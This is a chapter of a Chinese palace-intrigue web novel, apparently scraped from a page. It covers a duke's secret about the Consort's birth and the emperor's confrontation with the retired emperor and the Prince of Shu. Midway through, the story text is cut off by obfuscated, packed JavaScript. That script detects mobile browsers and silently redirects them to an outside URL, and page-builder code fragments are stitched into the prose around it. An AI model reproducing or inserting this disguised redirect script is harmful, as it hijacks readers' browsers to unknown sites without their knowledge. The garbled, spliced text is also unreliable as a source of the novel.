$(''#content'').append('' ,更会是朕的妻,朕皇儿之母,护贵妃安好,朕责无旁贷义不容辞,朕不会让任何人伤及贵妃。” 霍灵渠很平淡,像皇帝在说今早阳光真好一样平淡,魏王更平淡,霍擎苦凄,能试吗,他能相信皇帝会宽恕霍家吗?老人家看看孙女,看天意吧。 “陛下,老臣还有一事启奏,请陛下移步。” 霍灵渠看祖父,有古怪,魏王平淡,嬴忱璧也有点奇怪,按老国公的意思,他们移步去宣政殿前的广阔空地,百步之内不准任何人靠近,绝不会被偷听。 霍擎开口:“陛下能叫我一声外祖父吗?” 嬴忱璧……皇帝被突然得险些心里忸怩,嬴忱璧坦然道:“外祖父。” “庄家被诛九族了。”霍擎说,嬴忱璧没听懂:“嗯。” “霍家也有个会被诛九族的绝密握在国师手里。”霍擎相告,嬴忱璧有股说不出的感觉:“这怎会,何况霍家能犯下什么罪过至于够到要诛九族,朕怎会全然不知?” “二十多年前的往事了,当时陛下才几岁。”霍擎揭开:“太后,你母后,太后她做嫔妃之际一直不愿意庄氏的位份比她高,闹着要把庄氏搬开,她怀第一胎时曾诬陷过庄氏害她,甚至发誓,假若是她诬陷庄氏,她腹中的孩儿,生男为奴,生女为娼。” 嬴忱璧应:“朕知道,知道这个誓言,这也不是秘密。” 霍擎定定看着皇帝:“这个誓言应验了。” 嬴忱璧一愣,好笑道:“老国公您,您在说什么呀,太后,太后当年怀的第一胎孩儿出生就夭折了,朕这个妹妹连个齿序都没有。” “贵妃曾对您说她不保证她不会怀孕,贵妃直觉她怀个不是皇帝的胎,您都能容忍,到这一步我没路可走了,我就信吧,相信孙女的直觉,相信皇帝外孙。”霍擎犀利盯着皇帝,若鹰视狼顾,目光如炬:“国师姬洵是霍灵渠血脉上的亲叔叔。” 嬴忱璧懵了懵:“您,您说什么?” “姬沛呀。”霍擎有苦难言:“去年,贵妃想不出来她爹会喜欢什么样的人,霍漓江回来一说,我和霍秦川还笑话他,这女儿简直是他自己怀胎生下来的,陛下以为霍漓江喜欢的那个人是谁?霍灵渠是借腹生下来的,霍漓江找谁借腹?” 嬴忱璧傻了:“您,你——” “霍宝鸾和霍漓江是双胞胎,血脉上最近,我们当时劝他,他还有庶妹,让霍玉簪生,霍漓江不肯,非得要霍宝鸾来生。圣人知道霍漓江年轻那会儿闹死闹活喜欢的那个人是谁,温献皇后生前也知,霍漓江要借腹生个孩儿,圣人没多想。” 霍擎叹息,看向皇帝道:“但圣人就是多想,圣人会想霍家会因此不要命了吗,不会,但霍漓江,他才不管,他认定了就会做,家里只能帮他。” “那?”嬴忱璧头大:“那贵妃阿姨生的那个?” “霍枫叶。”霍擎曝出:“霍枫叶和霍桑柔才是一个爹娘的亲兄妹。” 嬴忱璧想捂脸了,他就猜蜀王甥舅俩会否有后手,原来真有这么大个后手等着他,霍擎看皇帝,找不出有丝毫对霍家的怒火,霍擎低头:“眼下,全凭陛下圣裁。” 嬴忱璧………… “您怕霍家若阻挡他,他会把秘密曝出来鱼死网破,霍家只能任由他作为?” “是。”霍擎恭敬,嬴忱璧悲催:“您看来,怎样才可能挡住他?” 霍擎看向皇帝,嬴忱璧扎心,他和他父皇起冲突呗,只要皇帝不在意,皇帝保证不会让事情传到太上皇耳中,他们把秘密曝出来也没用。 皇帝问了个风马牛不相及的事:“贵妃真正的生辰是四月初八?” 霍擎再应是,嬴忱璧看向晴空,湛湛蓝天,风轻云淡。 “佛诞日啊。” 204. 第204章 嬴忱璧装都没有装对霍家生气。 皇帝心里是有点沉,但,没有恼怒,索性不装了。 嬴忱璧问:“霍漓江认定了就会做?霍家是管不住他吗,冒那么大风险帮他?” 霍擎闭目,跪下,嬴忱璧刨出:“还是少敬畏。” “十三年前,授康21年,圣人立继后,在此之前朝堂有目共睹圣人在庄淑妃和霍德妃之间反复犹豫。”嬴忱璧想来好笑,竟有那么荒谬,冷寂道:“此事,朕不会告诉圣人,不是朕给霍家做帮凶隐瞒圣人,是朕担心我父皇未必受得住这冲击。” “老臣谢陛下隆恩。”霍擎叩首。 “你为什么告诉我,这样…”嬴忱璧顿下说:“满门抄斩的把柄,如你所言,蜀王和贵妃是亲表兄妹,相比起于朕,蜀王才值得霍家信赖,蜀王甥舅俩当然认为霍家该向着他们,霍家若想阻拦才更令他们恼羞成怒会鱼死网破。” 霍擎没说话,嬴忱璧训:“朕是不会告诉圣人,但你自己说,你当如何交代?” “全凭陛下处置。”霍擎请罪。 嬴忱璧心里骂,冠冕堂皇谁不会啊,这种绝密都敢告诉皇帝了不就是笃定他不会处置,嬴忱璧想起晏霁之晏表弟曾对他言:表哥你纵横天下何等凌厉,你但凡把你这份凌厉用一分在你的后妃儿女身上,何至于敢让人笃定了吃定你? “老国公这是笃定了要吃定朕会宽恕你吗?”皇帝发威,霍擎轻描淡写:“老臣去年还想过让陛下退位,老臣总不至于觉得您能忘,虽然陛下您的记性比老头我不如。” 嬴忱璧就道:“老国公是想试试朕的屠刀生锈否了?” 霍擎放肆:“陛下言贵妃是您心爱,老臣斗胆,眼下,贵妃还是吗?” 欺人太甚!嬴忱璧就感觉被人欺到脑门上了,怪不得要一再问他何不把贵妃交出去呢:“不要给朕顾左右而言他!” “笃定,之于陛下,老臣看到过两例,都是妄想压倒陛下。霍家只想退掉,比起笃定,一个妄想压倒陛下吃定陛下的词,老臣想霍家只是相信。” 霍擎娓娓道来:“相信你不至于要诛灭霍家,你有惩戒,抄家、下狱或流放几年,能给霍家一条生路,我们受得住,而不是妄想压倒你,陛下说我笃定了要吃定你,陛下说错了,何况陛下何等洞察。”霍擎真不是奉承:“老臣都没有看出臧芣缄。 老臣七十余年的阅历尚未察,陛下您才三十岁呀,还有任何妄想压倒陛下妄想与陛下争权会不被您察觉?任何人若妄想笃定了想要吃定陛下都得死,否则您就不配为君王。您还能容老臣在您面前,是您也清楚霍家没想争。 霍家在风口浪尖多年,我多年心愿只是霍家能退出朝堂,缘何告诉你?太后这俩孩儿,霍家这俩外孙,霍家从未选过湘王。”换言之,何况蜀王? 嬴忱璧挑刺:“老国公自己刚都还说,你去年还想令朕退位呢。” 霍擎正中下怀:“是啊,但我选的是您的六弟而非湘王,我从未选过湘王,我是想霍家能够退掉,我这岁数了,我想我死前风平浪静的安排好后事。” 嬴忱璧抿抿唇,瞥见霍家人请示想过来,又问:“霍家是怎么做到的?” “当时炎夏,圣人率众去秀岭大安宫避暑,启程回京的前天,阿鸾借口抱恙,在大安宫多留了三天。”霍擎回禀,嬴忱璧让老穆国公起来吧,他容后再定。 霍擎站起,嬴忱璧抬抬手,让他们过来。 霍秦川带着霍海啸和霍雄鹰来向皇帝请过安,霍雄鹰请示:是否把姬太妃抓起来? 嬴忱璧吩咐:“你带队禁军过去,看着她,暂时不必动粗。” 霍雄鹰领命告退,霍秦川眉眼活络,嬴忱璧戳穿:“穆国公很幸灾乐祸。” “陛下,臣没有。”霍秦川叫屈,嬴忱璧训斥:“你想什么?”又补充:“欺君是死罪!”皇帝就差说我已经看透你了,霍秦川装若无其事:“今天会出事,是圣人把姬家人留身边,想抢人家的传家宝,把人家几乎屠族了还把剩下的人留在左右——” 嬴忱璧瞪他,霍秦川缩一缩还是威武不能屈:“不是一般人能干出来的事。” 嬴忱璧很想打他了:“霍海啸——” 霍海啸一根眉毛没挑动,霍擎缓和:“陛下,霍秦川虽然皮痒了,但他也不全是废话,今日若是会有祸端,祸端在于圣人被人家捏住了软肋。 君王不该有软肋,至少不该被人看出来,陛下当是个教训吧,好的事让人开怀,不好的事若让人长教训,那么对人生,所有经历的事都是一份成长。” 嬴忱璧嗯,暂且饶过穆国公,手指点点他,拂袖向前去。 皇帝来到宣政殿丹墀前,群臣聚拢,皇帝令晏副相和晏墉把控城中安稳,霍秦川拽着霍漓江出城去京郊大营,晏堪率精兵埋伏于太微宫,嬴忱璧又传四名将领和霍枫叶陪薄尚书、周尚书和翁尚书守卫皇城,点三十名大臣陪他去太微宫。 部署好,嬴忱璧进殿去,一看贵妃那小样,皇帝倒杯茶饮下。霍灵渠在和小幼儿告别,让小幼儿好好吃饭,小幼儿学:饭饭,霍灵渠说不想妃妃,小幼儿想,霍灵渠让孩子去走走自己玩,小幼儿搂着贵妃不撒手,霍灵渠再抱会儿。 翁嫔和周婉仪赶来,霍灵渠想把四皇子给翁嫔,小幼儿不愿,霍灵渠再哄哄,嬴忱璧带两个妃子去窗前,交代她们:“朕今日去太微宫,可能会与太上皇动干戈,最坏的情形,朕今日驾崩,四皇子和周婉仪腹中孩儿都会要被除去。” 猝不及防,翁嫔转不过来,周婉仪惊惶:“陛下,这,这怎会?” “你们祖父会在宣政殿,朕请两位姑母过来会陪你们在皇极宫,穆国公已出城统军。”嬴忱璧安抚:“莫忧,朕是猜最坏的情形,大概不会那么糟。” 翁嫔回过神,跟着周婉仪说:“妾,妾知道了。” 霍灵渠哄小幼儿睡着了,把孩子给翁嫔,翁嫔抱着孩儿,仿佛才脑子清明些。 嬴忱璧等到两位姑母来皇城,新都心里发苦还克制,瑞执焦灼:“皇帝?”这是怎么了这突然之间,这哥哥,这哥哥要做什么呀,什么回到三十年前啊…… 魏王陪着老秦王和老穆国公进殿,嬴忱璧看过老王爷,老秦王脸沉得像黑炭,皇帝道:“朕尽快请父皇清醒过来,今天,辛苦两位姑母了。” 两位大长公主应下,必定保皇嗣安稳,让皇帝不要有后顾之忧。 嬴忱璧率贵妃和魏王离去,翁嫔抱着孩儿遥望陛下远去,周婉仪握住翁嫔的手臂,翁嫔转头看向她,俩人相互扬起丝笑意,随两位大长公主去皇极宫。 霍擎和老秦王暂缓一步,再细细推敲可还有疏漏,确保不会有隐患。 皇帝率众来到太微宫的正大殿前,蜀王高高站在丹墀,他看着皇帝盈然笑,没有见礼。嬴忱璧也没在意,皇帝走上台阶,问:“皇兄,父皇呢?” 蜀王往大殿瞟眼,嬴忱璧大步向前去,霍灵渠走前步,魏王跟上。 富丽的殿堂,繁华堆尽还未暖,太上皇高居主位,皇帝坐在客位,蜀王在太上皇身边,霍灵渠站在皇帝身侧,魏王和臣子们一拨在殿中,魏王站着,丞相率众跪着。 嬴忱璧措辞:“朕闻国师献言,可让圣人回到三十年前?” 太上皇目视着前方,神情淡淡:“皇儿不愿意让父皇尝试吗?” 班丞相想,他知道姬家是有个什么宝物了。 房副相好像也没太担心,怎么收场,请圣人颐养天年么。 悄然的,对抗般地沉寂会儿,嬴忱璧叹息:“此…天地之机缘,圣人想尝试,朕和大臣们自然没有不依的,但,假若这只是妖道蛊惑圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782997|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的虚妄之言,是妖道意图不轨心怀叵测,朕请父皇也莫再受妖道蛊惑,尤其是,这妖道借以蛊惑圣人的妖物必须毁了。” 太上皇平静的做了交换:“好。” 嬴忱璧谢过父亲,让大臣们暂去偏殿歇息,太上皇未语,默许了,丞相率众告退。国师出来请圣人,太上皇搭着国师的手腕站起来,去后殿,皇帝携贵妃过去,魏王刚往前一步,蜀王挡住他的去路,笑:“几个小弟弟在澄心殿,我送你去那儿吧。” 魏王嗤了声。 澄心殿,嬴天漾率先醒来,环顾,发现几个小的,老六和晏霁之呢?嬴天漾甩甩铁链,暂且顾不得老六和晏霁之,踹他们:“小八,小八?” “你小声点,当心把人招来。”霍海啸和原牧烈悄悄进来,扯扯他们的铁链,试解锁:“晏霁之和原牧炽呢,你和他们俩昨夜不是一同被抓的吗?” “我也想知道,我刚醒,醒来只看见他们四个。”嬴天漾神色染上丝凝重:“什么情况,谁要抓我?我那狗伯伯,那他们几个又是什么情况?” 原牧烈劝:“你别狗不狗的了。” 霍海啸宽慰:“不是针对你,是圣人的一众儿子们附带你们两个侄儿。” 嬴天漾没耐心:“你俩别耍贫嘴了行吗,赶紧跟我说,什么事?” 霍海啸哀叹:“圣人在修仙。” “什么,你说我父皇作甚?”湘王飙高音,把吴王的声音都淹没了,霍海啸不想说话,嬴天漾嫌这几个小的还不如不醒过来呢,原牧烈解释:“国师蛊惑圣人,说可以让圣人回到三十年前,陛下已率众臣来太微宫请圣人莫被妖言迷惑。” 刚获悉的几位:“……”嬴天漾瞪大眼睛盯他会儿,扭过头,遭到这种事,这狗伯伯甭管信不信都得要尝试了,这一试,太阳打西边出来都休想不出事。 滕王想捂脸,吴王想抹泪,简郡王,十岁的简郡王不晓得该什么想法了,湘王心口疼,他说话都哆嗦了:“我父皇怎么会相信那种骗小孩都不会信的事?” 滕王不解:“那抓我们干什么呀?” 霍海啸提示:“你们没发现这里应该还少了一个人吗?” 湘王抢答:“魏王!” “是你们大侄子。”霍海啸告诉:“这事,你们要反对的吧,国师是蜀王的小舅,蜀王和你们不是一伙,若蜀王把你们宰了想逼圣人立他做皇帝,圣人当如何?圣人留下长孙就是为防不测,但到那情况,应该是你们,不,我们全没了。” 受打击的几位:“……” 简郡王哭泣,湘王也想抹泪了,蜀王送魏王来,湘王猛看向他们,吴王扯扯小弟,让小弟别哭了,简郡王抽泣,几个死士涌出来抓人,霍海啸和原牧烈迎上去交手,嬴天漾纠结,他觉得他喊不出来让他们跑呀,但依他昨晚经验,这俩不跑估计要被抓了。 霍海啸和原牧烈倒地,原牧烈撑着问:“我想知道,晏霁之和冠军侯没事吧?” 蜀王淡淡高傲着:“他们两个俩人一间屋,比你们还舒服些。” 嬴天漾不满:“我和他们一起的,凭什么把我和他们分开?” 死士拿来铁链把霍海啸和原牧烈捆住,蜀王瞟瞟他:“你聒噪。” 嬴天漾攥拳,想给这堂哥暴头!蜀王转视向魏王,一脸闲适:“你也用上铁链吧,不用铁链就得给你用软筋散,还是套着铁链好。” 魏王冷视他一瞬,走过去。 俩人一屋的原牧炽和晏霁之在开锁,原牧炽专心,晏霁之说我渴了,原牧炽充耳不闻,晏霁之把铁链甩掉,原牧炽不可信地看着他,晏霁之要求:“给我倒杯水来。” 原牧炽握拳:“你自己去啊,我还被锁着呢。” 晏霁之靠着圆木柱:“我累。” 原牧炽紧紧拳头,差点想打他。